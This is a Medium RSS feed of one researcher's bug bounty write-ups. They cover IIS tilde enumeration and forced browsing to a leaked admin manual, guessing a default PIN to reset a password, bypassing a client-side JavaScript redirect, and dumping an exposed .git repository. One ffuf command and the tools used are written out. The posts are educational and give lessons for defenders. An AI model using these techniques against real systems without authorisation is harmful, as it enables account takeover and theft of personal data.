<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Armand Jasharaj on Medium]]></title>
        <description><![CDATA[Stories by Armand Jasharaj on Medium]]></description>
        <link>https://medium.com/@armandjasharaj?source=rss-f83cfa7ec80a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*nXci_s3Og3lcOJUWyjMmVQ.jpeg</url>
            <title>Stories by Armand Jasharaj on Medium</title>
            <link>https://medium.com/@armandjasharaj?source=rss-f83cfa7ec80a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 01:04:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@armandjasharaj/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From PDF to Five-Figure Payday: When Legacy Docs Attack]]></title>
            <link>https://medium.com/@armandjasharaj/from-pdf-to-five-figure-payday-when-legacy-docs-attack-05f35eb85164?source=rss-f83cfa7ec80a------2</link>
            <guid isPermaLink="false">https://medium.com/p/05f35eb85164</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Armand Jasharaj]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 01:54:41 GMT</pubDate>
            <atom:updated>2025-08-05T01:54:41.477Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Faster than a lunch order: from a quick recon session to PII in 30 minutes”</blockquote><h3>The TL;DR</h3><p>It took less than thirty minutes to turn a few “<strong><em>meh</em></strong>” misconfigurations into a five figure ($XX,XXX) bug bounty.</p><p>What if I told you that a blurry screenshot buried in an old admin manual could unlock the keys to an entire organization’s user database?</p><p>Because, well… it kinda did.</p><p>Here’s how the chain reaction kicked off:</p><ul><li>Discovered a target’s asset tucked away in the vast corners of the int3rw3bz</li><li>Noticed IIS was running</li><li>Kicked things off with some initial fuzzing and followed it up with <strong>IIS tilde enumeration</strong></li><li>That led me straight to an <strong><em>Admin Help Document</em></strong> which was accessible via forced browsing</li><li>Inside the help file? A <strong>blurry screenshot</strong> casually leaking what appears to be a demo/test account phone number</li><li>From further pillaging of the information, identified an endpoint in the document leading to a back end admin portal</li><li>Noticed an area which allowed for account lookup via phone number</li><li>Chained together all gathered artifacts/evidence</li><li>Took over an internal test account, which had elevated privileges and led to a large PII dump</li></ul><p>Each issue alone was minor, but chained together, they painted a real world attack path that couldn’t be ignored.<br>And the final result? A critical severity finding, along with a clean five<strong>-</strong>figure payout for proving just how fast it could all go wrong.</p><h3>Initial Recon Tidbits</h3><blockquote><strong>Note: This write-up focuses on the exploitation path, and as such, my personal detailed reconnaissance techniques are intentionally omitted for scope and clarity.</strong></blockquote><p>While performing some super duper recon on the target environment, I came across a third-level subdomain. Let’s imagine that the uncovered asset was the following:</p><pre>https://supporthelp.prod.DUNDERMIFFLINSUPERSECRETSTUFFFORMICHAELSCOTTONLY.com</pre><p>This was picked up as running IIS (<em>Microsoft’s Internet Information Services</em>).</p><p>But…</p><p>Let’s make sure!</p><p><em>“Hey buddy, it’s absolutely IIS. Thought you’d never ask,” </em>httpx acclaimed, dropping the truth with zero hesitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cn4Nuy_vlsaEwUGp5_w5Ew.png" /></figure><p>Awesome, IIS was running, and not just any version, but an older one. Jackpot. I landed on a login page that looked… important. Nothing conclusive yet, but I could just feel it, this panel was definitely guarding something sensitive.</p><p>Tried a few classic moves: scraping JavaScript, poking at the auth logic, looking for any obvious cracks. Nothing budged.</p><p>Alright, time to get creative.</p><p>I fired up some fuzzing with the oh so lovely FFUF and a few word lists, and bingo, found a “/UserHelp/” directory lurking in the shadows. Though, every path I tried under it just kicked me right back to the login page, like it was OffSec trolling me, telling me to “<em>Try Harder.</em>”</p><h3>Legacy Breadcrumbs (Forced Browsing Powered by IIS Tilde Enumeration)</h3><blockquote><strong>IIS tilde enumeration</strong> is a fancy way of saying that I went hunting for the website’s secret nicknames and digital hiding spots nobody bothered to lock.</blockquote><blockquote>In simple terms, IIS tilde enumeration takes advantage of how older versions of IIS handle file names in older formats, like admin~1, backup~1, etc. These are called <strong>8.3 filenames</strong>, and they come from a time when file names could only be 8 characters long, followed by a 3 letter extension.</blockquote><blockquote>Even if a website hides its files from normal view, IIS might still “leak” clues when you guess these shortened versions. By testing names like login~1, secret~1, or config~1, you can figure out if certain files or folders exist, even if directory listing is turned off.</blockquote><blockquote>Think of it like whispering nicknames through a locked door, and the server accidentally saying, “Yeah, that one’s in here.”</blockquote><p>After confirming the “/UserHelp/” directory existed and knowing this was an IIS environment, I naturally turned to IIS tilde enumeration, a go to move of mine. While there are several methods/tools for this, I prefer to use <strong>shortscan </strong>for quick checks. Ultimately, it uncovered truncated shortnames, including a very promising “<strong><em>loginm~1</em></strong>” entry.</p><blockquote><strong>Shortscan</strong>: <a href="https://github.com/bitquark/shortscan">https://github.com/bitquark/shortscan</a></blockquote><p>Because IIS often uses short filenames internally, and I couldn’t guess what the full name was, I used FFUF to fuzz both the filename and extension at the same time.</p><p>By leveraging FFUF’s cluster bomb option, I supplied two separate word lists, one for filename prefixes and another for file extensions, using the “<em>FUZZ.EXT</em>” pattern. This allowed me to test different filename/extension combinations in one full sweep.</p><p>For me, this approach is especially useful when I’m unsure of both the file name and type. In this particular case, it helped surface the hidden/forgotten file really quickly.</p><p>This process revealed a PDF file only accessible through a direct URL, confirming that I was most likely dealing with a forced browsing attack vector.</p><p>At this point, hitting <em>https://supporthelp.prod.DUNDERMIFFLINSUPERSECRETSTUFFFORMICHAELSCOTTONLY.com/UserHelp/loginmanual2023.pdf</em> directly gave me a quick 200 response and allowed me to view the file in question.</p><p><strong>NICE!</strong></p><blockquote>NOTE: A lot of you ask me what the super magical secret is to chaining stuff for max impact (Criticals, P1’s, etc.), such as with forced browsing and how it plays a part of this chain. I will now be sharing for the first time the secret that I use…</blockquote><blockquote>The secret is…</blockquote><blockquote>For you to read the following, do some Googling, then apply the practice to your own testing, etc.</blockquote><blockquote>But, I will leave you with an easy to digest version to start ya off!</blockquote><blockquote><strong>Forced browsing</strong> is when someone sneaks into restricted parts of a website by directly accessing a hidden page or file, without going through the proper login/auth steps.</blockquote><blockquote>Let’s imagine that there’s a PDF tucked away at:<br><strong><em>https://dundermifflinsupersecretvault.nodwightallowed.com/private/reports/michaelscottreport.pdf</em></strong></blockquote><blockquote>It’s meant to be accessed <em>only</em> after logging in.</blockquote><blockquote>But instead of logging in, someone pieces together the URL, perhaps by guessing the folder name, trying to replay endpoints only available when logged in, noticing a pattern, or for instance leveraging an IIS vector like I did in this case.</blockquote><blockquote>This happens because the site checks permissions for most pages, but <strong>forgets </strong>to lock down individual files. If someone can access content just by knowing and/or discovering the path, that’s forced browsing, and it’s a real security gap.</blockquote><figure><img alt="Brownie Points for anyone who understands the relation from what I just said to this particular Christmas Story scene 😎" src="https://cdn-images-1.medium.com/max/640/1*r1SRF7zXh_F5eDvxZ-EAaQ.gif" /><figcaption>Brownie Points for anyone that understands the relation from what I just said to this particular Christmas Story scene😎</figcaption></figure><h3>A Grainy Old Admin Manual</h3><p>After accessing this area, the document itself looked to be some sort of account recovery guide for new System Administrator employees based on some initial first page wording. The document was in rough shape: grainy, low-resolution screenshots, barely readable text, and a layout that suggested it had been passed around internally for years without proper updates, or perhaps scanned too many times before it was uploaded. It had all the signs of being orphaned during a merger or acquisition and never officially retired.</p><p>Adding to the suspicion that this wasn’t meant for public and/or unauthenticated viewing, every page footer included a proprietary/confidential stamp along with the organization’s name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/458/1*vcq7Zul8pm7epBvJ6nKzEg.png" /></figure><p>As I skimmed through the document, one page stood out, as it featured a screenshot of a login recovery flow. Two fields were partially filled in:</p><ul><li><strong>Phone Number</strong>: A generic looking demo phone number was visible (your basic equivalent of 555–555–5555 with one or two numbers altered)</li><li><strong>Account PIN</strong>: Fairly blurry, not really readable</li></ul><p>At first, I nearly brushed it off. It seemed harmless enough and could’ve been reported as is, I guess, right? But, something about it kept nagging at me. I couldn’t shake the feeling there was more to it.</p><p>Was this number just a placeholder? Or did it belong to a real account? I had no idea who or what it was tied to. But I knew I had to keep digging.</p><h3>Further Pillaging and Finding the Weakened Admin Login</h3><p>After pillaging through the PDF, I caught a glimpse of what appeared to be a URL with wording akin to “<em>confirm access via the following</em>,” and it included an interesting endpoint/subdomain:</p><p>Let’s use this Dunder Mifflin themed custom graphic to help illustrate what’s going on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*MALYiILQ6Kgo0vhZjvuB6w.png" /></figure><p>It felt like this portal had been possibly carved out for internal use in special circumstances, under the false assumption that only trusted users would ever reach it, with its rather odd domain naming convention.</p><p>Lucky for me, it was laid out right in front of me in the document!</p><p>NAAAISE!</p><h3>Legacy Login Flow + Email Disclosure</h3><p>Upon interacting with reaching this area/endpoint, I was met with yet another login panel, but this one had something interesting that immediately grabbed my attention.</p><p>A small section read: “<em>Verify account with company phone.</em>”</p><p>Well, I had a phone number, so why not leverage it here?</p><p>I accessed the section, tossed in the number, and was prompted for a pin.</p><p>Alright, game on.</p><p>Assuming the demo or dummy number might work with a default PIN, I started testing some predictable patterns, and even looped in Burp Suite’s Intruder:</p><ul><li>000000</li><li>111111</li><li>222222</li></ul><p>…and so on.</p><p>But then I paused. Maybe I was over complicating things. I hadn’t even tried the most obvious one yet.</p><p><strong>123456</strong></p><p>Boom. It worked instantly.</p><p>The screen refreshed and revealed an associated email address:<br><strong>useradminportal01@DUNDERMIFFLIN.com</strong></p><p>Now we were getting somewhere, a valid username tied to the number I had earlier.</p><h3>Reset, Takeover, Access</h3><p>At first glance, the page only offered a basic username and password login, nothing particularly exciting. But experience has taught me one thing: <strong>always check everything</strong>, even if the scope or surface area feels small.</p><p>So I started digging through the page source and scanning for any JavaScript files. And sure enough, one of them stood out.</p><p>Tucked inside was a reference to a few interesting endpoints, including one tied to”/forgotpass.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*qVP-hVrkRHhPO_ROpJR9eg.png" /></figure><p>That caught my attention immediately.</p><p>Appending ”/forgotpass” to the current path led me to a password reset page, and things got even more interesting from there. The page offered two options:</p><ul><li><strong>Reset via link</strong></li><li><strong>Reset via phone number and PIN</strong></li></ul><p>Well, the first option was a no go, as I didn’t have email access. But the phone and PIN route? That was promising.</p><p>Accessing that flow revealed fields for:</p><ul><li>Phone number</li><li>PIN</li><li><strong>New password</strong></li></ul><p>Bingo.</p><p>Since I already had a valid phone number and PIN from earlier, I filled in the fields, set a new password, and submitted the form.</p><p>Surely this probably didn’t really end up working, right?</p><p>Seconds later, I hit the main login panel with the new password, and I was immediately logged in… directly into an internal admin dashboard.</p><p>This wasn’t just any dashboard, though. It contained:</p><ul><li>Privileged access</li><li>User management tools</li><li>Site configuration options</li><li>And worse, real production data, including sensitive PII tied to actual users.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/268/1*gJOPN3ntb9XTRX749TUIzw.gif" /></figure><h3>Final Takeaways for Security Teams</h3><ul><li><strong>Retire old/documentation: </strong>especially internal guides that may contain realistic test data</li><li><strong>Don’t strip security from internal tools for ease use cases: </strong>admin panels need <em>more</em> protection, not less</li><li><strong>Audit test accounts: </strong>they often live in production environments and go unchecked</li><li><strong>Monitor legacy login paths: </strong>ensure they’re disabled or guarded by modern controls</li><li><strong>Think in chains: </strong>no bug lives in isolation</li></ul><p>Security isn’t just about fixing CVEs. It’s about knowing where to look, and recognizing that even grainy old help documents can expose the front door, if you know how to piece it together.</p><p><em>Follow my journey on Medium, where I share the interesting things I find worth reading along the way in hacking, red teaming, and research. You can also find me on </em><strong><em>Bugcrowd </em></strong><em>as </em><a href="https://bugcrowd.com/h/Zer0_Sec"><em>Zer0_Sec</em></a><em> and on </em><strong><em>HackerOne </em></strong><em>as </em><a href="https://hackerone.com/zer0_sec"><em>zer0_sec</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=05f35eb85164" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Secure to Breached: The Journey from Confidence to Compromise]]></title>
            <link>https://medium.com/@armandjasharaj/from-secure-to-breached-the-journey-from-confidence-to-compromise-38fcb7e9ef7c?source=rss-f83cfa7ec80a------2</link>
            <guid isPermaLink="false">https://medium.com/p/38fcb7e9ef7c</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Armand Jasharaj]]></dc:creator>
            <pubDate>Tue, 06 Aug 2024 18:42:48 GMT</pubDate>
            <atom:updated>2025-07-29T01:48:32.050Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>“We’re Totally Secure… Except When We’re Not”</blockquote><p>How many times have you heard the phrase “<em>we take security seriously</em>” from companies eager to assure you of their bulletproof defenses? A few times, I’m sure, as it’s a popular mantra in the industry, as if every company possesses a magical cybersecurity wand that fends off every conceivable threat. I mean, they utilize a stack of XYZ security vendors that they heard about at conferences and have clean penetration tests, so how could they not be super duper secure!?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*pTrL7iQ8EWBFEOsiiDpQvg.jpeg" /></figure><p>All too often, businesses that tout their top-notch security find themselves caught off guard by unforeseen vulnerabilities, leaving them highly exposed and vulnerable. In reality, such confidence can be misplaced when faced with actual malicious actors or skilled security researchers who often uncover vulnerabilities that traditional assessments and vendor solutions might miss.</p><p>Consider the topic of authentication bypasses (<em>traversal of one or more authentication mechanisms</em>), which can provide unauthorized access and control over critical admin accounts, entire network/application portals belonging to an organization, and even the ability to exfiltrate highly sensitive PII. This article explores how even the most robust security assurances can unravel when faced with sophisticated threats. It highlights the crucial need for continuous vigilance and proactive measures to stay ahead in the ever-evolving landscape of cybersecurity.</p><h3>Initial Impressions</h3><p>At first glance, the target seemed to have a fairly solid set of defense mechanisms. It showcased a robust, albeit pesky, web application firewall, alongside strict access control protocols. Direct attacks and exploitation attempts on the target’s main web applications appeared to be effectively thwarted. The engagement brief mentioned frequent audits and testing, suggesting that the primary assets were well-protected. Furthermore, the immediate assets were also limited in functionality, so it was time to dig a little deeper.</p><p>I mean, maybe this is a waste of time, right? It’s not as though organizations with such a heavy security layer could ever lose track of assets they own…right?</p><p>Well… let’s get into it!</p><h3>The Risk of Overlooked Assets</h3><p>Overlooked assets pose significant risks to organizations because they often become the weakest links in a company’s security posture. These forgotten assets typically include outdated servers, neglected databases, and unused network segments that slip through the cracks of routine maintenance and audits. This oversight frequently occurs due to rapid growth, mergers, or shifts in organizational priorities, which can lead to a lack of comprehensive asset management.</p><p>Without direct visibility into these assets, companies expose themselves to potential data breaches and cyberattacks, highlighting the importance of continuous monitoring and thorough inventory practices.</p><h4>Digging Deeper</h4><p>My recon process has different branches and can take many different forms, depending on the target I’m after. In this particular case, I decided to hop over to Hurricane Electric and started poking around.</p><p>For those unaware, Hurricane Electric is a great publicly available tool for digging deeper into network details. Known for its strong network infrastructure and IP address services, it provides useful information about how IP addresses are connected and routed. By tapping into Hurricane Electric’s global network data, you can trace IP addresses and see how they link up within an organization’s network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lJkYapq_l28iugN3yi5QZg.png" /><figcaption><a href="https://bgp.he.net/">https://bgp.he.net/</a></figcaption></figure><p>After searching for the target’s organizational name here, it presented several values as a result, such as ASN’s/IP ranges associated with them, all of which belong to the target in question.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*wYnn6WwM2Ko55lVLOenbPg.png" /></figure><h4>Shodan Sleuthing</h4><blockquote><strong>NOTE: This article does not go into how to set up Shodan CLI, API keys, etc.</strong></blockquote><p>For anyone not familiar with Shodan, imagine a search engine that doesn’t just browse the web but dives deep into the vast sea of connected devices and services. That’s good old Shodan for you. It’s a powerful tool that scans the internet for everything ranging from web servers and IoT devices to routers all the way to industrial control systems. Shodan indexes these devices, revealing not just their IP addresses, but also the software they’re running, open ports, and even the geographical location of their servers.</p><p>Shodan offers both free and paid plans. The free version lets you search and explore connected devices but has limits on queries and data. Paid plans provide more features, including advanced search, higher query limits, and detailed analytics.</p><p>Moving on, with the discovered target ranges, I looped them into Shodan for a quick glimpse into any additional active assets that may be lingering about.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*744b_6u1m9kymgPE4RyvWQ.png" /></figure><p>What’s going on in this command? Well, I’m querying Shodan for a specific IP range and then specifying that I want the IP address, hostname, associated port(s) and any additional information as to what may be running. For me, the details I’m after can differ depending on the recon path I’m after. Thus, I prefer to fine tune what I’m after as opposed to running default queries when leveraging scripts, tools, or any other manual recon action(s).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*isaEdwK3-9YbrhZgVsbdww.png" /></figure><p>Here, the results depicted a few interesting juicy endpoints, all of which were up/active. Due to the privacy associated with the engagement, I have obfuscated some relevant information related to this example. However, the entry with “<strong><em>Server</em></strong>” in the HTTP title result was part of a longer string, similar to something along the lines of “<strong><em>Prod Test Server Admin</em></strong>.”</p><p>Unfortunately… this is definitely something that the organization forgot about asset wise. Fortunately, for me, it is ABSOLUTELY something that I would go on to check further!</p><h4>File Fuzzery Magic</h4><p>Upon first accessing the area, I was met with a rather bland Administrator login panel area, with the only option being to log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*2y9ge0oMDDAHwI7YuNSVjg.png" /></figure><p>After spending some time analyzing any/all JavaScript files and all resources of the area, nothing really stuck out in terms of direct immediate exploitation. However, with this being an IIS server, I immediately took note of the the “<strong><em>/new_login.aspx</em></strong>” landing when the associated area is loaded.</p><blockquote><strong>“Armand, dude, bro, what is your fuzzing process? I need a magical answer!”</strong></blockquote><p>Welp, sorry to disappoint, but…again, as I mentioned before, as with most of my methodologies, it differs depending on what I am after and/or looking at, thus there is no magical answer here. In this particular case, the word “<strong>new</strong>” was rather interesting to me. If something is “<strong>new</strong>,” then there may be a possibility that it potentially used to be “<strong>old</strong>” at some point in time.</p><p>Though, could this be a rabbit hole, since we always expect our organizational SysAdmin/Dev buddies to always ensure that security is in tip top shape and that any decommissioned/retired dangling directories/endpoints are completely removed?</p><p>Yep…</p><p>It totally was…</p><p><strong><em>NOT </em></strong>removed…</p><h4>Let’s Talk About It</h4><p>Fuzzing for me generally involves using my trusty friend, FFUF.</p><blockquote><strong>NOTE: This is not an in-depth peek into FFUF and its advanced usage, though it highlights the main point of a specific type of fuzzing I prefer to do.</strong></blockquote><p>Usually, when fuzzing is leveraged, I see it being done in the classic way of just using one or more wordlists with the standard “<strong><em>https://blahtest.com/FUZZHEREPLZ</em></strong>” method. This is fine and dandy, but I believe that the real magic is in the additional creative ways that one can leverage fuzzing.</p><p>Since I knew that “<strong><em>new_login.aspx</em></strong>” existed, I crafted and ran the following FFUF query, which would show me 302/200 responses associated with any direct wordlist value hits:</p><blockquote><strong>ffuf -u “https://highlysecure.supersecuretarget.com/FUZZ_login.aspx&quot; -w /path/to/armands/wordlist.txt -mc 200,302</strong></blockquote><p>I quickly saw a 200 response for “<strong><em>old_login.aspx</em></strong>,” which when visited, led me through to a totally different looking panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/1*7_t0jMU_Y5LBq-z17X9rQA.png" /></figure><h4>Peeking Behind the Curtains</h4><p>When I inspect targets and any type of asset that I happen to be testing/viewing, I always look to my co-pilot Burp Suite to help me sift through each and every call/response.</p><p>When I attempted to log in with random credentials, I noticed that the response immediately brought me back to the main area, due to the following JavaScript snippet I observed, intended to redirect due to the “<strong><em>top.document.location.href=old_login.aspx</em></strong>” line:</p><blockquote>&lt;script language=’JavaScript’&gt;<br> top.document.location.href=’old_login.aspx’<br>&lt;/sript&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*OSThwbPIKN3zrpbMxFl5nw.png" /></figure><p>Replaying that same request again, except this time completely stripping that entire redirect action had a rather…odd response.</p><p>After I removed the entire thing and let the request through, I immediately noticed a slew of PII being presented to me, ranging from what appeared to be administrator accounts, actual users of the platform, and any/all relevant information for them, such as full names, addresses, financial information, etc. I was on the super secretive administrative back end panel with full access, able to make very sensitive and rather…scary changes, and even exfiltrate all obtained data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*QzdTBTaMQxTeVqu6HRtuYA.gif" /></figure><p>After realizing how super duper secure this area was, I was able to confirm that it was an administrative dashboard used for all sorts of account changes, new admin account creations, with the ability to take accounts over, tweak server settings, and also manipulate the organization’s customer service endpoint.</p><p>In the hands of an actual malicious actor, this would have been a treasure trove of highly sensitive data, especially due to the number of records/users with full PII.</p><h4>Why Did This Happen?</h4><p>Well, wait a second, wasn’t this the highly secure target that had the latest and greatest security vendors on their side, in addition to squeaky clean penetration tests/assessments?</p><p>Hmm, well about that…</p><p>In this particular case, it seems that the application was relying solely on client-side JavaScript to manager redirections and enforce access controls. This is a big “<strong><em>no, no</em></strong>,” as it is inherently insecure. If manipulating the request ultimately allows access to the admin portal, it suggests that the server-side authentication or authorization mechanisms are completely missing and/or not implemented adequately. The server should always verify whether a user is authenticated and authorized to access certain pages, regardless of any form of client-side scripting, etc.</p><p>Using client-side scripts for redirection or access control means that anyone (such as myself) with the ability to modify or intercept JavaScript can potentially bypass these controls, which in turn bypassed authentication entirely.</p><p>That’s it for this article, thank you for reading!</p><p>As for myself, on to the next “<strong><em>secure</em></strong>” target.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38fcb7e9ef7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PII-nacles of Discovery: Deep Recon, Fourth-Level Subdomains, and Abusing Exposed .git Repositories]]></title>
            <link>https://medium.com/@armandjasharaj/pii-nacles-of-discovery-deep-recon-fourth-level-subdomains-and-abusing-exposed-git-repositories-7e282442bd02?source=rss-f83cfa7ec80a------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e282442bd02</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Armand Jasharaj]]></dc:creator>
            <pubDate>Mon, 07 Aug 2023 20:28:44 GMT</pubDate>
            <atom:updated>2023-08-07T20:29:12.689Z</atom:updated>
            <content:encoded><![CDATA[<h3>PII-nacles of Discovery: Deep Recon, Fourth-Level Subdomains, and Abusing Exposed .git Repositories</h3><blockquote>“All your Git repos are belong to us.”</blockquote><h3>Summary</h3><p>During a recent assessment, I made it a point to dig deeper than I usually did when it came to initial reconnaissance with my offensive security efforts. I had a hunch that something interesting was lurking in the shadows with this particular target, so I set off on my journey to sail the recon seas as far as they would take me.</p><p>Little did I know that this long journey would lead directly to the pot of gold at the end of the rainbow!</p><h4>Jumping in with the target, initial discovery, enumeration, permutation, brute force, reverse DNS</h4><blockquote><strong>Enuma-what? Permuta-huh? What?</strong></blockquote><p>Yes, yes, many quirky terms here for some of you reading.</p><p>The target in question was an IP range, as well as a wildcard domain.</p><blockquote><strong>But wait, what do you use for information gathering, subdomain enumeration, X, Y and Z, etc.?</strong></blockquote><blockquote>Recon for me depends on what I’m after, though some of my tool belt consists of Shodan, crt.sh, Security Trails, Amass, AltDNS, OTX AlienVault, and Subfinder, in no particular order. At times, I piece together byte sized Python scripts that combine one or two things for quicker output depending on what I’m looking for. I prefer manual reconnaissance over anything too automated.</blockquote><blockquote><strong>NOTE</strong>: I won’t go into detail over how I use each of the above as that’s above the scope of this article, though I do always utilize API keys for each service, some of which comes at a cost (such as Shodan, Security Trails, etc.)</blockquote><p>After gathering the relevant network ranges, performing some reverse DNS queries, fingerprinting the main components, and gathering initial information about the target, I moved on to enumerating/brute forcing subdomains. Nothing interesting was sticking here, and it was clear that I had entered 403 city whenever trying to stray from the path of the main functionalities. Though, I decided to dig a bit more and brute forced the already located subdomains in search of even more items to expand my attack surface.</p><blockquote><strong>Brute forcing already brute forced subdomain results? What in the world?</strong></blockquote><blockquote>Subdomain discovery/brute forcing on the surface pertains to resolving subdomains of a root domain by a wordlist or some other means of identification. This is absolutely fine, and can lead to some solid recon discoveries, however, subdomain permutation and things like recursive DNS brute forcing can provide more of a boost to the entire discovery process.</blockquote><blockquote>Permutation allows for the identification of things not generally found in a traditional wordlist through patterns. Generally, though not “always,” companies use naming schemes that are similar if not exactly the same across board. For instance, if I identify a subdomain of “something-1.target.com,” there is a high chance that perhaps “dev-1.target.com,” or “something-2.target.com” exists. AltDNS is great here for this type of thing, as it automates the process by taking in a list of words and then creating permutations of these words with previously discovered subdomains.</blockquote><p>This led to the discovery of a slew of fourth-level domains, all owned by the main target. These looked similar to what I saw before, but I decided to enumerate and fuzz them in the same manner, as often these fourth-level domains have things that are forgotten about, or end up being misconfigured.</p><blockquote><strong>What’s a fourth-level domain?</strong></blockquote><blockquote>Fourth-level domains are subdomains of a third-level domain. For example, “<strong>http://something.target.com</strong>” is known as a third-level domain. If we extend this further, altering it to “<strong>http://somethingelse.something.target.com</strong>,” then we have ourselves a super duper fourth-level domain.</blockquote><p>In my case, the initially discovered subdomain was:</p><ul><li><strong>something.target.com</strong></li></ul><p>After further discovery as explained above, the final fourth-level domain ended up being:</p><ul><li><strong>dev-01.something.target.com</strong></li></ul><h4>Heading down the rabbit hole</h4><p>Having done thorough fuzzing and enumeration on the initially identified endpoints/subdomains, I decided to make a list of all of the previous directories that led to the 403’s. Using this, I then fuzzed the fourth-level domains, and found several of these to be accessible, while others still led to the 403. However, one of these new discoveries stuck out as interesting…</p><p>An initial attempt to the “<em>/.git</em>” directory resulted in the following 403, which showed that this path existed, though access to it was restricted:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*gYKt0FahbCn0wkjEpUl7sg.png" /><figcaption>Attempt to access the “/.git” directory</figcaption></figure><h4>Forcing my way through and traversing the 403 FORBIDDEN lands</h4><p>Knowing that Git repositories generally contain both “<em>/index</em>” and “<em>/config</em>” directories, I manually checked for these as I always do, as they can encompass interesting information. This action, known as forced browsing, allows for the accessing of directories and files that are otherwise not accessible or referenced by the main server and/or application.</p><p>When I tried to add both of these directories to the initial 403 endpoint requests, I saw the glorious 200 responses coming through, indicating that the initial 403 was now completely bypassed:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*2EQ39-PQytNq0ybcRZy4cQ.png" /><figcaption>Attempt to access the “/.git/config” directory</figcaption></figure><p>The Git config in this case contained information related to the repository in question as well as several other items pertaining to this target’s web services.</p><h4>Unraveling the “.git” Directory</h4><p>Since the exposed “/.git” directory was discovered, I promptly retrieved it for a thorough local analysis using GitTools (<em>courtesy of Sebastian Neef, </em><a href="https://github.com/gehaxelt)"><em>https://github.com/gehaxelt</em>)</a>, a powerful toolkit designed for local Git repository analysis. This allowed me to delve into its contents and explore its version history, configuration files, and other critical data.</p><p>To dump the Git repo to a local system, the following was ran:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*DpD4I2TtQGse7RCfkL7b6w.png" /></figure><p>Next, a status check was ran:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*aI5fACrvNHWcN5qGVTHHaQ.png" /></figure><p>Well, this is unfortunate because all of the items show to have been deleted.</p><p>Not so fast…</p><p>This is where “Extractor” comes into play, as it allows for the iteration through all commit objects of a repository, ultimately attempting to restore the contents, as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*Pbqh7yFlrCT3kPr-XWRpbQ.png" /></figure><h4>Sifting through the findings</h4><p>There was a lot to unpack here, ranging from a large amount of production secrets and source code, all the way to the discovery of a few additional live hosts, which could be enumerated, ultimately exposing PII related to users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*leXb-oOKIk_zJR0rDjGSGg.png" /></figure><h4>Wrapping up</h4><p>This was a “Critical” level finding, which the organization tended to immediately.</p><p>In conclusion, these findings helped me to realize that going that extra mile can end up being the difference between simplistic findings and actually stumbling upon a gold mine.</p><p>Until next time…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*mXNMINoB_x7DIbb2aGeT-Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e282442bd02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PENTEST TALES: Smuggling Blind XSS through an Admin Portal’s front door]]></title>
            <link>https://medium.com/@armandjasharaj/pentest-tales-smuggling-blind-xss-through-an-admin-portals-front-door-935d953e17f5?source=rss-f83cfa7ec80a------2</link>
            <guid isPermaLink="false">https://medium.com/p/935d953e17f5</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Armand Jasharaj]]></dc:creator>
            <pubDate>Sat, 18 Mar 2023 16:23:13 GMT</pubDate>
            <atom:updated>2023-03-18T16:23:13.670Z</atom:updated>
